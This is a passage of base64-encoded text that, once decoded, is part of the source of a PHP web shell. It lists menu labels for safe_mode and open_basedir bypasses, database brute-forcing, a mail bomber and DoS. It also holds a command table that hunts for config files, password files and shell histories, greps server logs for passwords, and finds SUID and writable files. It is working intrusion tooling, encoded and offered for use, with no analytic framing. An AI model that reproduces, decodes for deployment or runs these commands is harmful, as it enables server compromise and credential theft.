gY29weShjb21wcmVzcy56bGliOi8vKSAoUEhQIDw9IDQuNC4yLCA1LjEuMiknLAonZW5nX3RleHQxMTYnPT4nQ29weSBmcm9tJywKJ2VuZ190ZXh0MTE3Jz0+J3RvJywKJ2VuZ190ZXh0MTE4Jz0+J0ZpbGUgY29waWVkJywKJ2VuZ190ZXh0MTE5Jz0+J0NhbnQgY29weSBmaWxlJywKJ2VuZ190ZXh0MTIwJz0+J1Rlc3QgYnlwYXNzIHNhZmVfbW9kZSB2aWEgaW5pX3Jlc3RvcmUgKFBIUCA8PSA0LjQuNCwgNS4xLjYpIGJ5IE5TVCcsCidlbmdfdGV4dDEyMSc9PidUZXN0IGJ5cGFzcyBvcGVuX2Jhc2VkaXIsIHZpZXcgZGlyIGxpc3QgdmlhIGZvcGVuIChQSFAgdjQuNC4wIG1lbW9yeSBsZWFrKSBieSBOU1QnLAonZW5nX3RleHQxMjInPT4nVGVzdCBieXBhc3Mgb3Blbl9iYXNlZGlyLCB2aWV3IGRpciBsaXN0IHZpYSBnbG9iKCkgKFBIUCA8PSA1LjIueCknLAonZW5nX3RleHQxMjMnPT4nVGVzdCBieXBhc3Mgb3Blbl9iYXNlZGlyLCByZWFkICouYnppcCBmaWxlIHZpYSBbY29tcHJlc3MuYnppcDI6Ly9dIChQSFAgPD0gNS4yLjEpJywKJ2VuZ190ZXh0MTI0Jz0+J1Rlc3QgYnlwYXNzIG9wZW5fYmFzZWRpciwgYWRkIGRhdGEgdG8gZmlsZSB2aWEgZXJyb3JfbG9nKHBocDovLykgKFBIUCA8PSA1LjEuNCwgNC40LjIpJywKJ2VuZ190ZXh0MTI1Jz0+J0RhdGEnLAonZW5nX3RleHQxMjYnPT4nVGVzdCBieXBhc3Mgb3Blbl9iYXNlZGlyLCBjcmVhdGUgZmlsZSB2aWEgc2Vzc2lvbl9zYXZlX3BhdGhbTlVMTC1ieXRlXSAoUEhQIDw9IDUuMi4wKScsCidlbmdfdGV4dDEyNyc9PidUZXN0IGJ5cGFzcyBvcGVuX2Jhc2VkaXIsIGFkZCBkYXRhIHRvIGZpbGUgdmlhIHJlYWRmaWxlKHBocDovLykgKFBIUCA8PSA1LjIuMSwgNC40LjQpJywKJ2VuZ190ZXh0MTI4Jz0+J01vZGlmeS9BY2Nlc3MgZmlsZSAodG91Y2gpJywKJ2VuZ190ZXh0MTI5Jz0+J1Rlc3QgYnlwYXNzIG9wZW5fYmFzZWRpciwgY3JlYXRlIGZpbGUgdmlhIGZvcGVuKHNycGF0aDovLykgKFBIUCB2NS4yLjApJywKJ2VuZ190ZXh0MTMwJz0+J1Rlc3QgYnlwYXNzIG9wZW5fYmFzZWRpciwgcmVhZCAqLnppcCBmaWxlIHZpYSBbemlwOi8vXSAoUEhQIDw9IDUuMi4xKScsCidlbmdfdGV4dDEzMSc9PidUZXN0IGJ5cGFzcyBvcGVuX2Jhc2VkaXIsIHZpZXcgZmlsZSBjb250ZXN0IHZpYSBzeW1saW5rKCkgKFBIUCA8PSA1LjIuMSknLAonZW5nX3RleHQxMzInPT4nVGVzdCBieXBhc3Mgb3Blbl9iYXNlZGlyLCB2aWV3IGRpciBsaXN0IHZpYSBzeW1saW5rKCkgKFBIUCA8PSA1LjIuMSknLAonZW5nX3RleHQxMzMnPT4nVGVzdCBieXBhc3Mgb3Blbl9iYXNlZGlyLCBjcmVhdGUgZmlsZSB2aWEgc2Vzc2lvbl9zYXZlX3BhdGgoVE1QRElSKSAoUEhQIDw9IDUuMi40KScsCidlbmdfdGV4dDEzNCc9PidEYXRhYmFzZS1icnV0ZWZvcmNlJywKJ2VuZ190ZXh0MTM1Jz0+J0RpY3Rpb25hcnknLAonZW5nX3RleHQxMzYnPT4nQ3JlYXRpbmcgZXZpbCBzeW1saW5rJywKJ2VuZ190ZXh0MTM3Jz0+J1VzZWZ1bCcsCidlbmdfdGV4dDEzOCc9PidEYW5nZXJvdXMnLAonZW5nX3RleHQxMzknPT4nTWFpbCBCb21iZXInLAonZW5nX3RleHQxNDAnPT4nRG9TJywKJ2VuZ190ZXh0MTQxJz0+J0RhbmdlciEgV2ViLWRhZW1vbiBjcmFzaCBwb3NzaWJsZS4nLAonZW5nX3RleHQxNDInPT4nRG93bmxvYWRlcnMnLAonZW5nX3RleHQxNDMnPT4nVGVtcDogJywKJ2VuZ190ZXh0MTQ0Jz0+J1Rlc3QgYnlwYXNzIHNhZmVfbW9kZSB3aXRoIGxvYWQgZmlsZSBpbiBteXNxbGknLAonZW5nX3RleHQxNDUnPT4nVGVzdCBieXBhc3Mgb3Blbl9iYXNlZGlyLCB2aWV3IGRpciBsaXN0IHZpYSByZWFscGF0aCgpIChQSFAgPD0gNS4yLjQpJywKJ2VuZ190ZXh0MTQ2Jz0+J01heCBJbnRlcmF0aW9uJywKJ2VuZ190ZXh0MTQ3Jz0+JycsCidlbmdfdGV4dDE0OCc9PicnLAonZW5nX3RleHQxNDknPT4nJywKJ2VuZ190ZXh0MTUwJz0+JycsCidlbmdfZXJyMCc9PidFcnJvciEgQ2FuXCd0IHdyaXRlIGluIGZpbGUgJywKJ2VuZ19lcnIxJz0+J0Vycm9yISBDYW5cJ3QgcmVhZCBmaWxlICcsCidlbmdfZXJyMic9PidFcnJvciEgQ2FuXCd0IGNyZWF0ZSAnLAonZW5nX2VycjMnPT4nRXJyb3IhIENhblwndCBjb25uZWN0IHRvIGZ0cCcsCidlbmdfZXJyNCc9PidFcnJvciEgQ2FuXCd0IGxvZ2luIG9uIGZ0cCBzZXJ2ZXInLAonZW5nX2VycjUnPT4nRXJyb3IhIENhblwndCBjaGFuZ2UgZGlyIG9uIGZ0cCcsCidlbmdfZXJyNic9PidFcnJvciEgQ2FuXCd0IHNlbnQgbWFpbCcsCidlbmdfZXJyNyc9PidNYWlsIHNlbmQnLAopOwovKgo/Pz8/Pz8gPz8/Pz8/Cj8/Pz8/Pz8/PyA/Pz8/Pz8/PyA/Pz8/Pz8/Pz8/Pz8/ID8/Pz8/PyA/Pz8/PyA/ID8/Py0/PyA/Pz8/Pz8uICggPz8/Pz8/PyA/Pz8/Pz8/Pz8gPz8/PyA/Pz8/Pz8/Pz8gPz8/PyApCj8/ID8/Pz8/PyA/Pz8/ID8/Pz8/Pz8/PyA/Pz8gPz8/Pz8/Pz8gPz8/Pz8/Py4KKi8KJGFsaWFzZXM9YXJyYXkoCictLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tbG9jYXRlJz0+JycsCidsb2NhdGUgaHR0cGQuY29uZiBmaWxlcyA+PiAnLiR0ZW1wZGlyLidncmVwLnR4dDtjYXQgJy4kdGVtcGRpci4nZ3JlcC50eHQnPT4nbG9jYXRlIGh0dHBkLmNvbmYgPj4gJy4kdGVtcGRpci4nZ3JlcC50eHQ7Y2F0ICcuJHRlbXBkaXIuJ2dyZXAudHh0JywKJ2xvY2F0ZSB2aG9zdHMuY29uZiBmaWxlcyA+PiAnLiR0ZW1wZGlyLidncmVwLnR4dDtjYXQgJy4kdGVtcGRpci4nZ3JlcC50eHQnPT4nbG9jYXRlIHZob3N0cy5jb25mID4+ICcuJHRlbXBkaXIuJ2dyZXAudHh0O2NhdCAnLiR0ZW1wZGlyLidncmVwLnR4dCcsCidsb2NhdGUgcHJvZnRwZC5jb25mIGZpbGVzID4+ICcuJHRlbXBkaXIuJ2dyZXAudHh0O2NhdCAnLiR0ZW1wZGlyLidncmVwLnR4dCc9Pidsb2NhdGUgcHJvZnRwZC5jb25mID4+ICcuJHRlbXBkaXIuJ2dyZXAudHh0O2NhdCAnLiR0ZW1wZGlyLidncmVwLnR4dCcsCidsb2NhdGUgcHN5Ym5jLmNvbmYgPj4gJy4kdGVtcGRpci4nZ3JlcC50eHQ7Y2F0ICcuJHRlbXBkaXIuJ2dyZXAudHh0Jz0+J2xvY2F0ZSBwc3libmMuY29uZiA+PiAnLiR0ZW1wZGlyLidncmVwLnR4dDtjYXQgJy4kdGVtcGRpci4nZ3JlcC50eHQnLAonbG9jYXRlIG15LmNvbmYgZmlsZXMgPj4gJy4kdGVtcGRpci4nZ3JlcC50eHQ7Y2F0ICcuJHRlbXBkaXIuJ2dyZXAudHh0Jz0+J2xvY2F0ZSBteS5jb25mID4+ICcuJHRlbXBkaXIuJ2dyZXAudHh0O2NhdCAnLiR0ZW1wZGlyLidncmVwLnR4dCcsCidsb2NhdGUgYWRtaW4ucGhwIGZpbGVzID4+ICcuJHRlbXBkaXIuJ2dyZXAudHh0O2NhdCAnLiR0ZW1wZGlyLidncmVwLnR4dCc9Pidsb2NhdGUgYWRtaW4ucGhwID4+ICcuJHRlbXBkaXIuJ2dyZXAudHh0O2NhdCAnLiR0ZW1wZGlyLidncmVwLnR4dCcsCidsb2NhdGUgY2ZnLnBocCBmaWxlcyA+PiAnLiR0ZW1wZGlyLidncmVwLnR4dDtjYXQgJy4kdGVtcGRpci4nZ3JlcC50eHQnPT4nbG9jYXRlIGNmZy5waHAgPj4gJy4kdGVtcGRpci4nZ3JlcC50eHQ7Y2F0ICcuJHRlbXBkaXIuJ2dyZXAudHh0JywKJ2xvY2F0ZSBjb25mLnBocCBmaWxlcyA+PiAnLiR0ZW1wZGlyLidncmVwLnR4dDtjYXQgJy4kdGVtcGRpci4nZ3JlcC50eHQnPT4nbG9jYXRlIGNvbmYucGhwID4+ICcuJHRlbXBkaXIuJ2dyZXAudHh0O2NhdCAnLiR0ZW1wZGlyLidncmVwLnR4dCcsCidsb2NhdGUgY29uZmlnLmRhdCBmaWxlcyA+PiAnLiR0ZW1wZGlyLidncmVwLnR4dDtjYXQgJy4kdGVtcGRpci4nZ3JlcC50eHQnPT4nbG9jYXRlIGNvbmZpZy5kYXQgPj4gJy4kdGVtcGRpci4nZ3JlcC50eHQ7Y2F0ICcuJHRlbXBkaXIuJ2dyZXAudHh0JywKJ2xvY2F0ZSBjb25maWcucGhwIGZpbGVzID4+ICcuJHRlbXBkaXIuJ2dyZXAudHh0O2NhdCAnLiR0ZW1wZGlyLidncmVwLnR4dCc9Pidsb2NhdGUgY29uZmlnLnBocCA+PiAnLiR0ZW1wZGlyLidncmVwLnR4dDtjYXQgJy4kdGVtcGRpci4nZ3JlcC50eHQnLAonbG9jYXRlIGNvbmZpZy5pbmMgZmlsZXMgPj4gJy4kdGVtcGRpci4nZ3JlcC50eHQ7Y2F0ICcuJHRlbXBkaXIuJ2dyZXAudHh0Jz0+J2xvY2F0ZSBjb25maWcuaW5jID4+ICcuJHRlbXBkaXIuJ2dyZXAudHh0O2NhdCAnLiR0ZW1wZGlyLidncmVwLnR4dCcsCidsb2NhdGUgY29uZmlnLmluYy5waHAgZmlsZXMgPj4gJy4kdGVtcGRpci4nZ3JlcC50eHQ7Y2F0ICcuJHRlbXBkaXIuJ2dyZXAudHh0Jz0+J2xvY2F0ZSBjb25maWcuaW5jLnBocCA+PiAnLiR0ZW1wZGlyLidncmVwLnR4dDtjYXQgJy4kdGVtcGRpci4nZ3JlcC50eHQnLAonbG9jYXRlIGNvbmZpZy5kZWZhdWx0LnBocCBmaWxlcyA+PiAnLiR0ZW1wZGlyLidncmVwLnR4dDtjYXQgJy4kdGVtcGRpci4nZ3JlcC50eHQnPT4nbG9jYXRlIGNvbmZpZy5kZWZhdWx0LnBocCA+PiAnLiR0ZW1wZGlyLidncmVwLnR4dDtjYXQgJy4kdGVtcGRpci4nZ3JlcC50eHQnLAonbG9jYXRlIC5jb25mIGZpbGVzID4+ICcuJHRlbXBkaXIuJ2dyZXAudHh0O2NhdCAnLiR0ZW1wZGlyLidncmVwLnR4dCc9Pidsb2NhdGUgIi5jb25mIiA+PiAnLiR0ZW1wZGlyLidncmVwLnR4dDtjYXQgJy4kdGVtcGRpci4nZ3JlcC50eHQnLAonbG9jYXRlIC5wd2QgZmlsZXMgPj4gJy4kdGVtcGRpci4nZ3JlcC50eHQ7Y2F0ICcuJHRlbXBkaXIuJ2dyZXAudHh0Jz0+J2xvY2F0ZSAiLnB3ZCIgPj4gJy4kdGVtcGRpci4nZ3JlcC50eHQ7Y2F0ICcuJHRlbXBkaXIuJ2dyZXAudHh0JywKJ2xvY2F0ZSAuc3FsIGZpbGVzID4+ICcuJHRlbXBkaXIuJ2dyZXAudHh0O2NhdCAnLiR0ZW1wZGlyLidncmVwLnR4dCc9Pidsb2NhdGUgIi5zcWwiID4+ICcuJHRlbXBkaXIuJ2dyZXAudHh0O2NhdCAnLiR0ZW1wZGlyLidncmVwLnR4dCcsCidsb2NhdGUgLmh0cGFzc3dkIGZpbGVzID4+ICcuJHRlbXBkaXIuJ2dyZXAudHh0O2NhdCAnLiR0ZW1wZGlyLidncmVwLnR4dCc9Pidsb2NhdGUgIi5odHBhc3N3ZCIgPj4gJy4kdGVtcGRpci4nZ3JlcC50eHQ7Y2F0ICcuJHRlbXBkaXIuJ2dyZXAudHh0JywKJ2xvY2F0ZSAuYmFzaF9oaXN0b3J5IGZpbGVzID4+ICcuJHRlbXBkaXIuJ2dyZXAudHh0O2NhdCAnLiR0ZW1wZGlyLidncmVwLnR4dCc9Pidsb2NhdGUgIi5iYXNoX2hpc3RvcnkiID4+ICcuJHRlbXBkaXIuJ2dyZXAudHh0O2NhdCAnLiR0ZW1wZGlyLidncmVwLnR4dCcsCidsb2NhdGUgLm15c3FsX2hpc3RvcnkgZmlsZXMgPj4gJy4kdGVtcGRpci4nZ3JlcC50eHQ7Y2F0ICcuJHRlbXBkaXIuJ2dyZXAudHh0Jz0+J2xvY2F0ZSAiLm15c3FsX2hpc3RvcnkiID4+ICcuJHRlbXBkaXIuJ2dyZXAudHh0O2NhdCAnLiR0ZW1wZGlyLidncmVwLnR4dCcsCidsb2NhdGUgYmFja3VwIGZpbGVzID4+ICcuJHRlbXBkaXIuJ2dyZXAudHh0O2NhdCAnLiR0ZW1wZGlyLidncmVwLnR4dCc9Pidsb2NhdGUgYmFja3VwID4+ICcuJHRlbXBkaXIuJ2dyZXAudHh0O2NhdCAnLiR0ZW1wZGlyLidncmVwLnR4dCcsCidsb2NhdGUgZHVtcCBmaWxlcyA+PiAnLiR0ZW1wZGlyLidncmVwLnR4dDtjYXQgJy4kdGVtcGRpci4nZ3JlcC50eHQnPT4nbG9jYXRlIGR1bXAgPj4gJy4kdGVtcGRpci4nZ3JlcC50eHQ7Y2F0ICcuJHRlbXBkaXIuJ2dyZXAudHh0JywKJ2xvY2F0ZSBwcml2IGZpbGVzID4+ICcuJHRlbXBkaXIuJ2dyZXAudHh0O2NhdCAnLiR0ZW1wZGlyLidncmVwLnR4dCc9Pidsb2NhdGUgcHJpdiA+PiAnLiR0ZW1wZGlyLidncmVwLnR4dDtjYXQgJy4kdGVtcGRpci4nZ3JlcC50eHQnLAonLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLXRhcic9PicnLAondGFyIC1jenZmIGFsbC50Z3ogLVQgJy4kdGVtcGRpci4nZ3JlcC50eHQnPT4ndGFyIC1jenZmIGFsbC50Z3ogLVQgJy4kdGVtcGRpci4nZ3JlcC50eHQnLAonLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLTEnPT4nJywKJ2xvY2F0ZSBhdXRoX2xvZyBmaWxlcyA+PiAnLiR0ZW1wZGlyLidncmVwLnR4dDtjYXQgJy4kdGVtcGRpci4nZ3JlcC50eHQnPT4nbG9jYXRlIGF1dGhfbG9nID4+ICcuJHRlbXBkaXIuJ2dyZXAudHh0O2NhdCAnLiR0ZW1wZGlyLidncmVwLnR4dCcsCidsb2NhdGUgYWNjZXNzX2xvZyBmaWxlcyA+PiAnLiR0ZW1wZGlyLidncmVwLnR4dDtjYXQgJy4kdGVtcGRpci4nZ3JlcC50eHQnPT4nbG9jYXRlIGFjY2Vzc19sb2cgPj4gJy4kdGVtcGRpci4nZ3JlcC50eHQ7Y2F0ICcuJHRlbXBkaXIuJ2dyZXAudHh0JywKJ2xvY2F0ZSBlcnJvcl9sb2cgZmlsZXMgPj4gJy4kdGVtcGRpci4nZ3JlcC50eHQ7Y2F0ICcuJHRlbXBkaXIuJ2dyZXAudHh0Jz0+J2xvY2F0ZSBlcnJvcl9sb2cgPj4gJy4kdGVtcGRpci4nZ3JlcC50eHQ7Y2F0ICcuJHRlbXBkaXIuJ2dyZXAudHh0JywKJ2xvY2F0ZSBhdXRoLmxvZyBmaWxlcyA+PiAnLiR0ZW1wZGlyLidncmVwLnR4dDtjYXQgJy4kdGVtcGRpci4nZ3JlcC50eHQnPT4nbG9jYXRlIGF1dGgubG9nID4+ICcuJHRlbXBkaXIuJ2dyZXAudHh0O2NhdCAnLiR0ZW1wZGlyLidncmVwLnR4dCcsCidsb2NhdGUgYWNjZXNzLmxvZyBmaWxlcyA+PiAnLiR0ZW1wZGlyLidncmVwLnR4dDtjYXQgJy4kdGVtcGRpci4nZ3JlcC50eHQnPT4nbG9jYXRlIGFjY2Vzcy5sb2cgPj4gJy4kdGVtcGRpci4nZ3JlcC50eHQ7Y2F0ICcuJHRlbXBkaXIuJ2dyZXAudHh0JywKJ2xvY2F0ZSBlcnJvci5sb2cgZmlsZXMgPj4gJy4kdGVtcGRpci4nZ3JlcC50eHQ7Y2F0ICcuJHRlbXBkaXIuJ2dyZXAudHh0Jz0+J2xvY2F0ZSBlcnJvci5sb2cgPj4gJy4kdGVtcGRpci4nZ3JlcC50eHQ7Y2F0ICcuJHRlbXBkaXIuJ2dyZXAudHh0JywKJ2xvY2F0ZSAiLmxvZyIgZmlsZXMgPj4gJy4kdGVtcGRpci4nZ3JlcC50eHQ7Y2F0ICcuJHRlbXBkaXIuJ2dyZXAudHh0Jz0+J2xvY2F0ZSAiLmxvZyIgPj4gJy4kdGVtcGRpci4nZ3JlcC50eHQ7Y2F0ICcuJHRlbXBkaXIuJ2dyZXAudHh0JywKJy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0yJz0+JycsCidjYXQgL3Zhci9sb2cvaHR0cGQvYXV0aF9sb2cgfCBncmVwIHBhc3MgPj4gJy4kdGVtcGRpci4ncGFzcy50eHQ7Y2F0ICcuJHRlbXBkaXIuJ3Bhc3MudHh0Jz0+J2NhdCAvdmFyL2xvZy9odHRwZC9hdXRoX2xvZyB8IGdyZXAgcGFzcyA+PiAnLiR0ZW1wZGlyLidwYXNzLnR4dDtjYXQgJy4kdGVtcGRpci4ncGFzcy50eHQnLAonY2F0IC92YXIvbG9nL2h0dHBkL2FjY2Vzc19sb2cgfCBncmVwIHBhc3MgPj4gJy4kdGVtcGRpci4ncGFzcy50eHQ7Y2F0ICcuJHRlbXBkaXIuJ3Bhc3MudHh0Jz0+J2NhdCAvdmFyL2xvZy9odHRwZC9hY2Nlc3NfbG9nIHwgZ3JlcCBwYXNzID4+ICcuJHRlbXBkaXIuJ3Bhc3MudHh0O2NhdCAnLiR0ZW1wZGlyLidwYXNzLnR4dCcsCidjYXQgL3Zhci9sb2cvaHR0cGQvZXJyb3JfbG9nIHwgZ3JlcCBwYXNzID4+ICcuJHRlbXBkaXIuJ3Bhc3MudHh0O2NhdCAnLiR0ZW1wZGlyLidwYXNzLnR4dCc9PidjYXQgL3Zhci9sb2cvaHR0cGQvZXJyb3JfbG9nIHwgZ3JlcCBwYXNzID4+ICcuJHRlbXBkaXIuJ3Bhc3MudHh0O2NhdCAnLiR0ZW1wZGlyLidwYXNzLnR4dCcsCidjYXQgL3Zhci9sb2cvaHR0cGQvYXV0aC5sb2cgfCBncmVwIHBhc3MgPj4gJy4kdGVtcGRpci4ncGFzcy50eHQ7Y2F0ICcuJHRlbXBkaXIuJ3Bhc3MudHh0Jz0+J2NhdCAvdmFyL2xvZy9odHRwZC9hdXRoLmxvZyB8IGdyZXAgcGFzcyA+PiAnLiR0ZW1wZGlyLidwYXNzLnR4dDtjYXQgJy4kdGVtcGRpci4ncGFzcy50eHQnLAonY2F0IC92YXIvbG9nL2h0dHBkL2FjY2Vzcy5sb2cgfCBncmVwIHBhc3MgPj4gJy4kdGVtcGRpci4ncGFzcy50eHQ7Y2F0ICcuJHRlbXBkaXIuJ3Bhc3MudHh0Jz0+J2NhdCAvdmFyL2xvZy9odHRwZC9hY2Nlc3MubG9nIHwgZ3JlcCBwYXNzID4+ICcuJHRlbXBkaXIuJ3Bhc3MudHh0O2NhdCAnLiR0ZW1wZGlyLidwYXNzLnR4dCcsCidjYXQgL3Zhci9sb2cvaHR0cGQvZXJyb3IubG9nIHwgZ3JlcCBwYXNzID4+ICcuJHRlbXBkaXIuJ3Bhc3MudHh0O2NhdCAnLiR0ZW1wZGlyLidwYXNzLnR4dCc9PidjYXQgL3Zhci9sb2cvaHR0cGQvZXJyb3IubG9nIHwgZ3JlcCBwYXNzID4+ICcuJHRlbXBkaXIuJ3Bhc3MudHh0O2NhdCAnLiR0ZW1wZGlyLidwYXNzLnR4dCcsCictLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tZmluZCc9PicnLAonZmluZCBzdWlkIGZpbGVzID4+ICcuJHRlbXBkaXIuJ2dyZXAudHh0O2NhdCAnLiR0ZW1wZGlyLidncmVwLnR4dCc9PidmaW5kIC8gLXR5cGUgZiAtcGVybSAtMDQwMDAgLWxzICA+PiAnLiR0ZW1wZGlyLidncmVwLnR4dDtjYXQgJy4kdGVtcGRpci4nZ3JlcC50eHQnLAonZmluZCBzdWlkIGZpbGVzIGluIGN1cnJlbnQgZGlyID4+ICcuJHRlbXBkaXIuJ2dyZXAudHh0O2NhdCAnLiR0ZW1wZGlyLidncmVwLnR4dCc9PidmaW5kIC4gLXR5cGUgZiAtcGVybSAtMDQwMDAgLWxzICA+PiAnLiR0ZW1wZGlyLidncmVwLnR4dDtjYXQgJy4kdGVtcGRpci4nZ3JlcC50eHQnLAonZmluZCBzZ2lkIGZpbGVzID4+ICcuJHRlbXBkaXIuJ2dyZXAudHh0O2NhdCAnLiR0ZW1wZGlyLidncmVwLnR4dCc9PidmaW5kIC8gLXR5cGUgZiAtcGVybSAtMDIwMDAgLWxzICA+PiAnLiR0ZW1wZGlyLidncmVwLnR4dDtjYXQgJy4kdGVtcGRpci4nZ3JlcC50eHQnLAonZmluZCBzZ2lkIGZpbGVzIGluIGN1cnJlbnQgZGlyID4+ICcuJHRlbXBkaXIuJ2dyZXAudHh0O2NhdCAnLiR0ZW1wZGlyLidncmVwLnR4dCc9PidmaW5kIC4gLXR5cGUgZiAtcGVybSAtMDIwMDAgLWxzICA+PiAnLiR0ZW1wZGlyLidncmVwLnR4dDtjYXQgJy4kdGVtcGRpci4nZ3JlcC50eHQnLAonZmluZCBhbGwgd3JpdGFibGUgZmlsZXMgPj4gJy4kdGVtcGRpci4nZ3JlcC50eHQ7Y2F0ICcuJHRlbXBkaXIuJ2dyZXAudHh0Jz0+J2ZpbmQgLyAtdHlwZSBmIC1wZXJtIC0yIC1scyAgPj4gJy4kdGVtcGRpci4nZ3JlcC50eHQ7Y2F0ICcuJHRlbXBkaXIuJ2dyZXAudHh0JywKJ2ZpbmQgYWxsIHdyaXRhYmxlIGZpbGVzIGluIGN1cnJlbnQgZGlyID4+ICcuJHRlbXBkaXIuJ2dyZXAudHh0O2NhdCAnLiR0ZW1wZGlyLidncmVwLnR4dCc9PidmaW5kIC4gLXR5cGUgZiAtcGVybSAtMiAtbHMgID4+ICcuJHRlbXBkaXIuJ2dyZXAudHh0O2NhdCAnLiR0ZW1wZGlyLidncmVwLnR4dCcsCidmaW5kIGFsbCB3cml0YWJsZSBkaXJlY3RvcmllcyA+PiAnLiR0ZW1wZGlyLidncmVwLnR4dDtjYXQgJy4kdGVtcGRpci4nZ3JlcC50eHQnPT4nZmluZCAvICAtdHlwZSBkIC1wZXJtIC0yIC1scyAgPj4gJy4kdGVtcGRpci4nZ3JlcC50eHQ7Y2F0ICcuJHRlbXBkaXIuJ2dyZXAudHh0JywKJ2ZpbmQgYWxsIHdyaXRhYmxlIGRpcmVjdG9yaWVzIGluIGN1cnJlbnQgZGlyID4+ICcuJHRlbXBkaXIuJ2dyZXAudHh0O2NhdCAnLiR0ZW1wZGlyLidncmVwLnR4dCc9PidmaW5kIC4gLXR5cGUgZCAtcGVybSAtMiAtbHMgID4+ICcuJHRlbXBkaXIuJ2dyZXAudHh0O2NhdCAnLiR0ZW1wZGlyLidncmVwLnR4dCcsCidmaW5kIGFsbCB3cml0YWJsZSBkaXJlY3RvcmllcyBhbmQgZmlsZXMgPj4gJy4kdGVtcGRpci4nZ3JlcC50eHQ7Y2F0ICcuJHRlbXBkaXIuJ2dyZXAudHh0Jz0+J2ZpbmQgLyAtcGVybSAtMiAtbHMgID4+ICcuJHRlbXBkaXIuJ2dyZXAudHh0O2NhdCAnLiR0ZW1wZGlyLidncmVwLnR4dCcsCidmaW5kIGFsbCB3cml0YWJsZSBkaXJlY3RvcmllcyBhbmQgZmlsZXMgaW4gY3VycmVudCBkaXIgPj4gJy4kdGVtcGRpci4nZ3JlcC50eHQ7Y2F0ICcuJHRlbXBkaXIuJ2dyZXAudHh0Jz0+J2ZpbmQgLiAtcGVybSAtMiAtbHMgID4+ICcuJHRlbXBkaXIuJ2dyZXAudHh0O2NhdCAnLiR0ZW1wZGlyLidncmVwLnR4dCcsCidmaW5kIGFsbCAuaHRwYXNzd2QgZmlsZXMgPj4gJy4kdGVtcGRpci4nZ3JlcC50eHQ7Y2F0ICcuJHRlbXBkaXIuJ2dyZXAudHh0Jz0+J2ZpbmQgLyAtdHlwZSBmIC1uYW1lIC5odHBhc3N3ZCAgPj4gJy4kdGVtcGRpci4nZ3JlcC50eHQ7Y2F0ICcuJHRlbXBkaXIuJ2dyZXAudHh0JywKJ2ZpbmQgYWxsIC5iYXNoX2hpc3RvcnkgZmlsZXMgPj4gJy4kdGVtcGRpci4nZ3JlcC50eHQ7Y2F0ICcuJHRlbXBkaXIuJ2dyZXAudHh0Jz0+J2ZpbmQgLyAtdHlwZSBmIC1uYW1lIC5iYXNoX2hpc3RvcnkgID4+ICcuJHRlbXBkaXIuJ2dyZXAudHh0O2NhdCAnLiR0ZW1wZGlyLidncmVwLnR4dCcsCidmaW5kIGFsbCAubXlzcWxfaGlzdG9yeSBmaWxlcyA+PiAnLiR0ZW1wZGlyLidncmVwLnR4dDtjYXQgJy4kdGVtcGRpci4nZ3JlcC50eHQnPT4nZmluZCAvIC10eXBlIGYgLW5hbWUgLm15c3FsX2hpc3RvcnkgID4+ICcuJHRlbXBkaXIuJ2dyZXAudHh0O2NhdCAnLiR0ZW1wZGlyLidncmVwLnR4dCcsCidmaW5kIGFsbCAuZmV0Y2htYWlscmMgZmlsZXMgPj4gJy4kdGVtcGRpci4nZ3JlcC50eHQ7Y2F0ICcuJHRlbXBkaXIuJ2dyZXAudHh0Jz0+J2ZpbmQgLyAtdHlwZSBmIC1uYW1lIC5mZXRjaG1haWxyYyAgPj4gJy4kdGVtcGRpci4nZ3JlcC50eHQ7Y2F0ICcuJHRlbXBkaXIuJ2dyZXAudHh0JywKJ2ZpbmQgaHR0cGQuY29uZiBmaWxlcyA+PiAnLiR0ZW1wZGlyLidncmVwLnR4dDtjYXQgJy4kdGVtcGRpci4nZ3JlcC50eHQnPT4nZmluZCAvIC10eXBlIGYgLW5hbWUgaHR0cGQuY29uZiA+PiAnLiR0ZW1wZGlyLidncmVwLnR4dDtjYXQgJy4kdGVtcGRpci4nZ3JlcC50eHQnLAonZmluZCB2aG9zdHMuY29uZiBmaWxlcyA+PiAnLiR0ZW1wZGlyLidncmVwLnR4dDtjYXQgJy4kdGVtcGRpci4nZ3JlcC50eHQnPT4nZmluZCAvIC10eXBlIGYgLW5hbWUgdmhvc3RzLmNvbmYgPj4gJy4kdGVtcGRpci4nZ3JlcC50eHQ7Y2F0ICcuJHRlbXBkaXIuJ2dyZXAudHh0JywKJ2ZpbmQgcHJvZnRwZC5jb25mIGZpbGVzID4+ICcuJHRlbXBkaXIuJ2dyZXAudHh0O2NhdCAnLiR0ZW1wZGlyLidncmVwLnR4dCc9PidmaW5kIC8gLXR5cGUgZiAtbmFtZSBwcm9mdHBkLmNvbmYgPj4gJy4kdGVtcGRpci4nZ3JlcC50eHQ7Y2F0ICcuJHRlbXBkaXIuJ2dyZXAudHh0JywKJ2ZpbmQgYWRtaW4ucGhwIGZpbGVzID4+ICcuJHRlbXBkaXIuJ2dyZXAudHh0O2NhdCAnLiR0ZW1wZGlyLidncmVwLnR4dCc9PidmaW5kIC8gLXR5cGUgZiAtbmFtZSBhZG1pbi5waHAgPj4gJy4kdGVtcGRpci4nZ3JlcC50eHQ7Y2F0ICcuJHRlbXBkaXIuJ2dyZXAudHh0JywKJ2ZpbmQgY29uZmlnKiBmaWxlcyA+PiAnLiR0ZW1wZGlyLidncmVwLnR4dDtjYXQgJy4kdGVtcGRpci4nZ3JlcC50eHQnPT4nZmluZCAvIC10eXBlIGYgLW5hbWUgImNvbmZpZyoiICA+PiAnLiR0ZW1wZGlyLidncmVwLnR4dDtjYXQgJy4kdGVtcGRpci4nZ3JlcC50eHQnLAonZmluZCBjZmcucGhwIGZpbGVzID4+ICcuJHRlbXBkaXIuJ2dyZXAudHh0O2NhdCAnLiR0ZW1wZGlyLidncmVwLnR4dCc9PidmaW5kIC8gLXR5cGUgZiAtbmFtZSBjZmcucGhwID4+ICcuJHRlbXBkaXIuJ2dyZXAudHh0O2NhdCAnLiR0ZW1wZGlyLidncmVwLnR4dCcsCidmaW5kIGNvbmYucGhwIGZpbGVzID4+ICcuJHRlbXBkaXIuJ2dyZXAudHh0O2NhdCAnLiR0ZW1wZGlyLidncmVwLnR4dCc9PidmaW5kIC8gLXR5cGUgZiAtbmFtZSBjb25mLnBocCA+PiAnLiR0ZW1wZGlyLidncmVwLn